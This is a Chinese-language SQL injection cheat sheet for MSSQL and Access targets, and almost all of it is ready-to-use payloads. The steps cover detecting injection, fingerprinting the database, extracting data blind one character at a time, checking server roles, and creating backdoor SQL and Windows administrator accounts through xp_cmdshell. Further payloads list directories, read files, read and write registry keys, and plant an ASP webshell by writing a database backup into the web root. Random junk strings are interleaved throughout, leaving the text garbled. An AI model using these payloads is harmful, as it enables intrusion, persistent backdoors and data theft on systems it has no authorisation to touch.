1.判断是否有注入;and 1=1 ;and 1=2 (F
+if
2.初步判断是否是mssql ;and user>0 JEGcZeq)
jI[:`
3.注入参数是字符'and [查询条件] and ''=' B/&axm%0
[?yOJU%`
4.搜索时没过滤参数的'and [查询条件] and '%25'=' gs7H9%j{U
vH9/}w2
5.判断数据库系统 Lr V)}1&5
/!ux P~2U
;and (select count(*) from sysobjects)>0 mssql Rq<T2}K
eZk
[6H
;and (select count(*) from msysobjects)>0 access 7?dB&m6W
dq[j.Nmq
JY~s-jxa
/k l0(='
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \M'b%
\|L@
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \ 2*<Pq
)W(?wv!,
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1)X%n)2pr
3_+-t5
9.(1)猜字段的ascii值(access) `[2nxP>w`
1.]#FJe
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 R4%!W~K
&1{RuV&t
(2)猜字段的ascii值(mssql) :I1)=8lO
#swzZyM$
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3#j%F
.TSj8,
10.测试权限结构(mssql) n'U*8ID
HJ:s)As
HBXp#$dPc
_A;jtS)SY
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l%oie1g l
r*OSEzGUz
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- y9?B vPp+
o5-oQ_j
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7AX<>^
/xWkP{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- t:9}~%~
g~S>_~WL
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Eo!1
WRruF
e%afK@c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- tK`sVsm>
D\jRF-z
;and 1=(select IS_MEMBER('db_owner'));-- .R#p<"$I
kS%FV;9>(
G29PdmY$<
O$V
6QJ
11.添加mssql和系统的帐户 ={o>g'
s=!
y%
;exec master.dbo.sp_addlogin username;-- <=l!~~%
;exec master.dbo.sp_password null,username,password;-- qH: `
O%,
snK$? 9vh
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Zm>Q-7r9
k3da*vwE
;exec master.dbo.xp_cmdshell 'net user username password \SHYwD}*Pr
<!v^Df
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- y+)][Wa0
3?|Fn8dQR.
;exec master.dbo.xp_cmdshell 'net user username password /add';-- T2P0(rEz
!k)}p_e
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- rp6Y&3p.
>JkQU e
bc}U &X<
vRpMZ)e
12.(1)遍历目录 cZuZfMDM
(wdE@/V
;create table dirs(paths varchar(100), id int) RY8;bUSR
`(vgBz`e[
;insert dirs exec master.dbo.xp_dirtree 'c:\' x}[/A;N
|"8Az0[!
;and (select top 1 paths from dirs)>0 $W<H[k&(B
dE7 kd=.o
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) [rC-3sGar
B;r U
KdHR.;*
r :{2}nE
(2)遍历目录 9x0B9&
(\{9W
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- AyB-+oTf(
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 F #Uxl%h
v`A^6)U#M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 bHH{bv~Z
%*wJODtB|
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "
;_bB"q*
!@{_Qt1
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1&\_|2
GNS5v-"H
[u;]J*
IAf,TKfe
13.mssql中的存储过程 %6j|/|#]
@vh3S+=M
xp_regenumvalues 注册表根键, 子键 \$}xt`6p
Oh9wBV
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 V@&zn8?
^n!{ vHz
xp_regread 根键,子键,键值名 iJv4%|9
Z$ Fh4
;exec xp_regread >*(4evU
UK*+EEv
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 S5*wUd*p#
.^>[@w3
xp_regwrite 根键,子键, 值名, 值类型, 值
m(,vymt
0APwk
}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 L MC-1
PwU}<Hrl]
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 zNofI$U
3Bee6N>
xp_regdeletevalue 根键,子键,值名 H=?v$!
i
060<wjX6
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 l~!Tnp\M
~
nNsq(4
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _6Wz1.]n
HK)$ls
%Rj:r!XB:
W?mn8Y;{`
14.mssql的backup创建webshell -|B?pR
gRIRc4p
use model tuo'4%]i
lBqu}88q0
create table cmd(str image); s
Z(LT'}
2hdi)C,7Y
insert into cmd(str) values (''); O Ul+es
M,"4r^%k
backup database model to disk='c:\l.asp'; _m;0%]+
EKZ40z`
XL c&7
zuUf:%k}I
15.mssql内置函数 ;ZPAnd:pb
.%_scNP
;and (select @@version)>0 获得Windows的版本号 $%ZEP>]
X&nkc/erx
;and user_name()='dbo' 判断当前系统的连接用户是不是sa %Ez%pT0TQ#
O|m-Uz"+
;and (select user_name())>0 爆当前系统的连接用户 Zy,U'Dv
`=Pn{JaD
;and (select db_name())>0 得到当前连接的数据库 +6@".<
I~y[8
3C 84b/A
,uqSq
16.简洁的webshell AX}l~
sv
zk=5uKcPE
use model 9#{?*c6
gm~Ka%O|F
create table cmd(str image); NX&mEz
km,}7^?F0r
insert into cmd(str) values (''); ZfM(%rx
y5B4t6M(
backup database model to disk='g:\wwwtest\l.asp';